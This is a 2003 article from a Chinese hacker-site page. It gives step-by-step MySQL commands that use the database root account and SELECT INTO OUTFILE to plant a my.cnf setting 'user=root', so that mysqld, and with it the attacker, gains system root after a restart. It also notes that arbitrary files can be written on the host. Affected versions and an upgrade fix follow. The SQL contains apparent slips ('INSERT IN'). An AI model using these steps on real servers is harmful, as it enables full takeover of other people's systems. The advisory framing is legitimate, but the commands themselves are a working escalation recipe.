|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| MySQL ROOT用户可得到系统ROOT权限 | |||||
作者:NetDemon 文章来源:CnXHacker.Net 点击数: 更新时间:2003-5-18 ![]() |
|||||
|
在 /etc 目录下有 my.cnf的情况下,通过以下操作,可让mysqld在重新启动之后以ROOT身份运行, 用mysql root连接并输入如下命令: mysql>CREATE DATABASE roottext; mysql>USE roottext; mysql>CREATE TABLE hack (conf VARCHAR(80)); mysql>INSERT IN hack VALUES ('[mysqld]'); mysql>INSERT IN hack VALUES ('user=root'); mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack mysql>QUIT 这样便在mysql的数据目录创建一个含有下面内容的文件my.cnf [mysqld] user=root 在mysql重起之后,此文件将覆盖 /etc/my.cnf的内容,mysqld将以root身份运行,这意味着你也同时拥有系统的root权限了,如通过使用创建适当形式的数据表并通过 INTO OUTFILE 创建或改写目标主机上任意文件等 说明: 尽管此漏洞需要获得MySQL的root密码,这事实上是大多数系统root才掌握的密码。不过因为此密码通常比系统的root密码更容易得到,如果入侵者获得此密码,利用此漏洞,这个系统将彻底被控制。特别在mysql <= 3.23.53 的情况下,得到mysql的root的exploit已经早就能在internet上找到了。因此这个漏洞具有相当大的危险性 有此漏洞版本:小于 MySQL 3.23.56 的所有版本 解决方法:升级到 MySQL 3.23.56 |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 活地运用SQL Injection做数据 数据库安全应用 使用MySQL的 MSSQL数据库SA权限入侵的感悟 美耗资500万欲打造间谍版Mys HP-UX get_system_info的工具 XSS跨站脚本及SQL注入漏洞技 用Syskey命令加强Windows200 开源MySQL停止提供企业版源代 MySpace存0day MySpace蠕虫病毒利用Fast-Fl |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |